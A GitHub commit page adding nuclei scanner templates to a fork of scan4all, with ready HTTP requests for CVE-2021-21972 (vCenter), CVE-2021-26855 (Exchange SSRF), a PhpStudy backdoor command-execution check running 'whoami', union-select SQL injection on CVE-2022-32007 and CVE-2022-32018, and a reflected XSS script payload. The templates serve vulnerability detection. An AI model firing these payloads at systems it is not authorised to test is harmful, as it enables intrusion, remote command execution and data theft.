forked from ExpLangcn/scan4all
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
up nuclei-templates 2022-07-19 18:10:1658225444
- Loading branch information
Showing
9 changed files
with
199 additions
and
25 deletions.
There are no files selected for viewing
Empty file.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,31 @@ | ||
id: CheckCVE_2021_21972 | ||
info: | ||
name: CheckCVE_2021_21972 | ||
author: 51pwn | ||
severity: critical | ||
reference: | ||
- https://github.com/hktalent/nuclei-templates | ||
- https://51pwn.com | ||
tags: web,vcenter,RCE | ||
|
||
requests: | ||
- raw: | ||
- |+ | ||
GET //ui/vropspluginui/rest/services/uploadova HTTP/1.1 | ||
Host: {{Hostname}} | ||
Accept:*/* | ||
Pragma:no-cache | ||
Accept-Encoding:gzip, deflate | ||
Connection: close | ||
Content-Length: 0 | ||
# end payload | ||
unsafe: true | ||
req-condition: true | ||
stop-at-first-match: true | ||
matchers-condition: and | ||
matchers: | ||
- type: dsl | ||
dsl: | ||
- 'status_code == 405' | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,40 @@ | ||
id: PhpStudyDoor | ||
info: | ||
name: PhpStudyDoor | ||
author: 51pwn | ||
severity: critical | ||
reference: | ||
- https://github.com/hktalent/nuclei-templates | ||
- https://51pwn.com | ||
tags: web,go,debug | ||
|
||
# nuclei -duc -u http://localhost:9999 -t ./51pwn/checkGoDebug.yaml | ||
|
||
requests: | ||
- raw: | ||
- |+ | ||
GET {{Path}} HTTP/1.1 | ||
Host: {{Hostname}} | ||
Accept:*/* | ||
Pragma:no-cache | ||
Accept-Charset:{{base64(mypaths)}} | ||
Accept-Encoding:gzip, deflate | ||
Connection: close | ||
Content-Length: 0 | ||
# end payload | ||
payloads: | ||
mypaths: | ||
- "echo '<result>'; system(\"whoami\");echo '</result>';" | ||
|
||
attack: pitchfork | ||
unsafe: true | ||
|
||
req-condition: true | ||
stop-at-first-match: true | ||
matchers-condition: and | ||
matchers: | ||
- type: regex | ||
part: body | ||
regex: | ||
- '<result>(.*?)</result>' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,49 +1,44 @@ | ||
id: check_go_debug_ui | ||
id: check_CVE-2021-26855 | ||
info: | ||
name: check_go_debug_ui | ||
name: check_CVE-2021-26855 | ||
author: 51pwn | ||
severity: critical | ||
description: |+ | ||
https://saucer-man.com/information_security/748.html | ||
reference: | ||
- https://github.com/hktalent/nuclei-templates | ||
- https://51pwn.com | ||
tags: web,go,debug | ||
tags: web,go,microsoft,exchange,outlook | ||
|
||
# nuclei -duc -u http://localhost:9999 -t ./51pwn/checkGoDebug.yaml | ||
|
||
requests: | ||
- raw: | ||
- |+ | ||
GET /ui/{{mypaths}} HTTP/1.1 | ||
Host: {{Hostname}} | ||
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 | ||
Accept:*/* | ||
Pragma:no-cache | ||
Accept-Encoding:gzip, deflate | ||
POST /ecp/target.js HTTP/1.1 | ||
Host: {{Host}} | ||
Accept-Encoding: gzip, deflate | ||
Accept: */* | ||
Connection: close | ||
Content-Length: 0 | ||
Cookie: X-BEResource=[name]@{{Host}}/autodiscover/autodiscover.xml?#~1941962754 | ||
Content-Type: text/xml | ||
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006"> | ||
<Request> | ||
<EMailAddress>administrator@saucerman.com</EMailAddress> | ||
<AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema> | ||
</Request> | ||
</Autodiscover> | ||
# end payload | ||
payloads: | ||
mypaths: | ||
- "top" | ||
- "source" | ||
- "flamegraph" | ||
|
||
attack: pitchfork | ||
unsafe: true | ||
|
||
req-condition: true | ||
stop-at-first-match: true | ||
matchers-condition: and | ||
matchers: | ||
- type: regex | ||
part: body | ||
regex: | ||
- '<a[^>]+>(pprof|Top|Peek|Source|Disassemble)<\/a>' | ||
- type: word | ||
part: body | ||
words: | ||
- 'Output annotated source for functions matching regexp' | ||
- 'Output assembly listings annotated with samples' | ||
- 'Display profile as a directed graph' | ||
- 'Organization/ou=Exchange Administrative Group' | ||
condition: and |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,37 @@ | ||
id: CVE-2022-32007 | ||
|
||
info: | ||
name: Complete Online Job Search System v1.0 - SQL Injection | ||
author: arafatansari | ||
severity: high | ||
description: | | ||
Complete Online Job Search System v1.0 is vulnerable to SQL Injection via /eris/admin/company/index.php?view=edit&id=. | ||
reference: | ||
- https://github.com/k0xx11/bug_report/blob/main/vendors/campcodes.com/online-job-search-system/SQLi-2.md | ||
- https://nvd.nist.gov/vuln/detail/CVE-2022-32007 | ||
metadata: | ||
verified: true | ||
tags: cve,cve2022,sqli,eris,authenticated | ||
|
||
variables: | ||
num: "999999999" | ||
|
||
requests: | ||
- raw: | ||
- | | ||
POST /admin/login.php HTTP/1.1 | ||
Host: {{Hostname}} | ||
Content-Type: application/x-www-form-urlencoded | ||
user_email={{username}}&user_pass={{password}}&btnLogin= | ||
- | | ||
GET /admin/company/index.php?view=edit&id=-3%27%20union%20select%201,md5({{num}}),3,4,5,6--+ HTTP/1.1 | ||
Host: {{Hostname}} | ||
cookie-reuse: true | ||
matchers: | ||
- type: word | ||
part: body | ||
words: | ||
- '{{md5({{num}})}}' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,28 @@ | ||
id: CVE-2022-32018 | ||
|
||
info: | ||
name: Complete Online Job Search System v1.0 - SQL Injection | ||
author: arafatansari | ||
severity: high | ||
description: | | ||
Complete Online Job Search System v1.0 is vulnerable to SQL Injection via /eris/index.php?q=hiring&search=. | ||
reference: | ||
- https://github.com/k0xx11/bug_report/blob/main/vendors/campcodes.com/online-job-search-system/SQLi-12.md | ||
- https://nvd.nist.gov/vuln/detail/CVE-2022-32018 | ||
metadata: | ||
verified: true | ||
tags: cve,cve2022,sqli | ||
|
||
variables: | ||
num: "999999999" | ||
|
||
requests: | ||
- method: GET | ||
path: | ||
- "{{BaseURL}}/index.php?q=hiring&search=URC%27%20union%20select%201,2,3,4,5,6,7,8,9,md5({{num}}),11,12,13,14,15,16,17,18,19--+" | ||
|
||
matchers: | ||
- type: word | ||
part: body | ||
words: | ||
- '{{md5({{num}})}}' |
38 changes: 38 additions & 0 deletions
38
config/nuclei-templates/vulnerabilities/other/eris-xss.yaml
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,38 @@ | ||
id: eris-xss | ||
|
||
info: | ||
name: Complete Online Job Search System v1.0 - Reflected Cross Site Scripting | ||
author: arafatansari | ||
severity: medium | ||
description: | | ||
Complete Online Job Search System v1.0 is vulnerable to Reflected Cross Site Scripting via index.php?q=advancesearch. | ||
metadata: | ||
verified: true | ||
tags: cve,cve2022,xss,eris | ||
|
||
requests: | ||
- raw: | ||
- | | ||
POST /index.php?q=result&searchfor=advancesearch HTTP/1.1 | ||
Host: {{Hostname}} | ||
Content-Type: application/x-www-form-urlencoded | ||
SEARCH=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&COMPANY=&CATEGORY=&submit=Submit | ||
matchers-condition: and | ||
matchers: | ||
- type: word | ||
part: body | ||
words: | ||
- 'Result : <script>alert(document.domain)</script>' | ||
- 'ERIS' | ||
condition: and | ||
|
||
- type: word | ||
part: header | ||
words: | ||
- text/html | ||
|
||
- type: status | ||
status: | ||
- 200 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters